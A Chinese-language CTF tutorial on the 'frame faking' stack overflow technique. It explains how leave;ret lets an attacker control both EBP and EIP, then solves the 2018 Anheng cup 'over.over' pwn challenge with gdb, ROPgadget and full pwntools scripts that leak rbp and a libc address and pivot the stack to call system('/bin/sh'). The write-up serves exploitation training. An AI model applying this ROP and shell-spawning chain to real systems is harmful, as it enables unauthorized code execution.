花式栈溢出技巧之frame faking
frame faking
构造一个虚假的栈帧来控制程序的执行流
原理
之前所讲的栈溢出不外乎两种方式:
- 控制程序EIP
- 控制程序EBP
其最终都是控制程序的执行流。在frame faking中,我们所利用的技巧辨是同时控制EBP和EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。
函数的入口点和出口点
入口点
push ebp #将ebp压栈
mov ebp, esp #将esp的值赋给ebp
出口点
leave
ret # pop eip 弹出栈顶元素作为程序的下一个执行地址
其中leave指令相当于
mov esp,ebp #将ebp的值赋给esp
pop ebp #弹出栈顶元素作为ebp的值
所以函数的出口点的两条指令相当于
mov esp,ebp
pop ebp
pop eip
利用条件
- 溢出字节较少,难以构造较长的rop链
- 存在一块可写的内存,且知道其地址
payload设置
此种攻击方法的关键在于如何同时控制ebp和eip,那么如何同时控制ebp和eip的值的?
- 使用ROPgadget查找leave;ret指令所在的地址
- 覆盖完成bufer后,使用可控制的地址覆盖ebp的值,使用上述leave;ret指令所在地址覆盖ret的值。
假设程序为32位程序,64位同理
- 当函数正常返回时,执行leave;ret指令(此处非执行我们覆盖的ret指令)如下图所示:
- mov esp,ebp;将ebp的值赋给esp,此时esp和ebp同时指向ebp基址处,也就是我们设置的可控制的fake ebp值处。
- pop ebp,弹出栈顶,也就是ebp的基址,这时会将我们设置的虚假的ebp值赋给ebp寄存器,同时esp+4上行
- 执行ret指令,ret指令相当于pop eip;此时栈顶为我们使用ROPgadget查找的leave;ret指令的地址。将这个地址弹出,赋给eip寄存器。esp+4上行
- 执行eip寄存器中的指令,leave指令;
- mov esp,ebp;将ebp的值赋给esp,此时ebp寄存器中保存的值为我们设置的虚假的可控的地址,于是esp指向来了该可控地址
- pop ebp;栈顶弹出赋给ebp,相当于该可控地址的第一个4位地址内容弹出,赋给ebp,可以设置4个a来padding,esp+4上行
- 执行ret,我们一般将此时esp指向的地址设为目标函数地址,就可执行目标函数了。
下面以一道例题来说明用法
2018安恒杯月赛下载地址
checksec + IDA
[*] '/mnt/hgfs/ubuntu_share/pwn/stack/over.over'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
- 64位程序
- 只开启了nx保护
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);while ( sub_400676() );return 0LL;
}
int sub_400676()
{char buf; // [rsp+0h] [rbp-50h]memset(&buf, 0, 0x50uLL);putchar('>');read(0, &buf, 0x60uLL);return puts(&buf);
}
通过IDA分析可以得出:
- 只能溢出0x10字节,也就是16个字符,也就是只能覆盖两个地址,无法构造较长的rop链
- 但read函数并不会给输入字符串末尾补\0,所以当我们输入0x50个字符时,可以将rbp的值打印出来。
leak rbp的值
- 在这个题中我们可以直接控制sub_400676函数中的buf所在的内存地址。
- 所以rbp我们需要覆盖为buf所在的首地址
- 他们在内存中的具体的值我们看不出来,但他们之间的偏移关系是确定的。
- 我们可以通过leak rbp,再动态调试一下,得出具体的偏移关系
gdb over.over
b *0x4006B9
// 0x4006B9地址为sub_400676函数中call puts函数的地址,如上图所示
r
123123//输入内容
telescope $rsp 20 //查看从rsp开始的20个地址
- 我们leak出来的rbp的值为红色的长方形中的蓝色框中的值,为0x00007fffffffdd50
- 而rsp所指向的地址为0x00007fffffffdce0
- 0x00007fffffffdce0与0x00007fffffffdd50两个地址之间的偏移相差0x70,蓝色椭圆框所示
查找leave;ret的地址:
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/stack# ROPgadget --binary over.over --only "leave|ret"
Gadgets information
============================================================
0x00000000004006be : leave ; ret
0x0000000000400509 : ret
0x00000000004007d0 : ret 0xfffeUnique gadgets found: 3
- 所以rbp设置为原来的rbp-0x70,ret设置为0x00000000004006be
- 同时我们还需要在buf的一开始没有溢出的地方调用puts函数,以判断版本
- 在调用puts函数时,需要设置rdi寄存器,这里使用通用gadgets:csu_init,如读者不熟悉,请先阅读这篇文章
代码如下:
from pwn import *
context.log_level = "DEBUG"sh = process("over.over")payload = 'a' * 80sh.recvuntil('>')sh.send(payload)rbp_addr = u64(sh.recv()[80:-2] + '\x00\x00')print hex(ebp_addr)pop_rdi = 0x400793puts_got = 0x601020 puts_plt = 0x400530 ret_addr = 0x400676leave_ret = 0x4006bepayload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)sh.send(payload)sh.recvline()real_addr = u64(sh.recvline()[:-1] + '\x00\x00')print hex(real_addr)
此时的栈结构
- 此时执行leave;ret指令,rsp指向rbp的位置处
- 按照上文原理中所叙述的,经过两次leave;ret
- rsp指向pop rdi;ret的gadget处
根据泄露出来的puts地址判断libc版本
libc database:url
完成最后一步:获取shell
代码如下:
from pwn import *
context.log_level = "DEBUG"sh = process("over.over")payload = 'a' * 80sh.recvuntil('>')sh.send(payload)rbp_addr = u64(sh.recv()[80:-2] + '\x00\x00')print hex(ebp_addr)pop_rdi = 0x400793puts_got = 0x601020 puts_plt = 0x400530 ret_addr = 0x400676leave_ret = 0x4006bepayload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)sh.send(payload)sh.recvline()real_addr = u64(sh.recvline()[:-1] + '\x00\x00')print hex(real_addr)base_addr = real_addr - 0x06f690system_addr = base_addr + 0x045390binsh_addr = base_addr + 0x18cd57payload = 'a'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)sh.send(payload)sh.interactive()
注意一点,最后的rbp_addr-0x70-0x30的由来:
- 不是只需要减0x70就可以吗,怎么又减了0x30
- 因为第一次泄露完puts的地址后,rsp是指向p64(1)*5的第一个1处
- 返回地址为sub_400676的函数地址
- 该函数的开头部分进行了压栈操作,压入了一个rbp,此时的栈结构是这样的:
- 红字部分为6个8字节,48字节,换算为十六进制为0x30
- 所以rbp的值需要再减去一个0x30才能到aaaaaaaa字符串的地址处
花式栈溢出技巧之frame faking相关推荐
- 花式栈溢出技巧----stack pivoting/frame faking
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ https://www.jianshu.com/ ...
- 花式栈溢出技巧----partial overwrite
学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite https://b ...
- 花式栈溢出技巧之stack pivoting
原理 正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP.一般来说,我们可能在下述情况使用劫持栈指针. 可以控制栈溢出的字节数较少,难以构造较长的ROP链. 开启了 ...
- 花式栈溢出技巧----Stack smash
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash 以前遇见过一次这种情况,但是是 ...
- 构造虚假栈帧 | 花式栈溢出
花式栈溢出技巧----stack pivoting/frame faking: https://blog.csdn.net/qq_42192672/article/details/83039125 C ...
- 花式栈溢出值stack smash
花式栈溢出值stack smash 原理: 在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息.而 stack smas ...
- Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html
Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html ...
- 二维数组的花式遍历技巧盘点
学算法认准 labuladong 后台回复 进群 进刷题 读完本文,可以去力扣解决如下题目: 48. 旋转图像(中等) 54. 螺旋矩阵(中等) 59. 螺旋矩阵 II(中等) 有不少读者说,看过很多 ...
- 微信公众号花式排版技巧分享
大家好,又到我们的学习时间啦~今天要跟各位分享的小技巧是什么呢?超级超级简单~ 那就是花式玩转文字排版 第一个小技巧是 NO1 删除线 在有的图文中经常有的小伙伴问"文字上的横线" ...
最新文章
- iOS端实现React Native差异化增量更新
- elasticsearch date_histogram
- es 插入数据_记录一次Java导入百万级数据到Elasticsearch经历
- [存储引擎基础知识]InnoDB与MyISAM的六大区别(非原创)
- 计蒜客 A2232.程序设计:蒜厂年会-单调队列(双端队列(STL deque)实现)滑窗维护最小前缀和...
- Framework打包
- 通信距离与哪些因素相关?为什么模块通信距离和厂家宣传的不一样?
- mp4v2 写mp4 java_使用mp4v2将H264+AAC合成mp4文件
- Ubuntu更换gnome桌面环境后不能root登录
- Emlog使用qq头像作为评论头像
- (转)shiro权限框架详解03-shiro介绍
- 几款4Gb光纤连接产品对比
- 【java笔记】lambda表达式介绍和使用
- 「leetcode」47.全排列 II【回溯算法】详细图解!
- 如何将无线鼠标连接到Mac电脑?
- Swiper 参数说明
- 建立oracle数据库链接,Oracle数据库创建数据库连接(DBLink)详细讲解
- 七夕情人节生日表白爱心
- 家居智能安防系统功能和特点介绍,如何合理化的做好家居智能安防?
- Django 之ORM(一)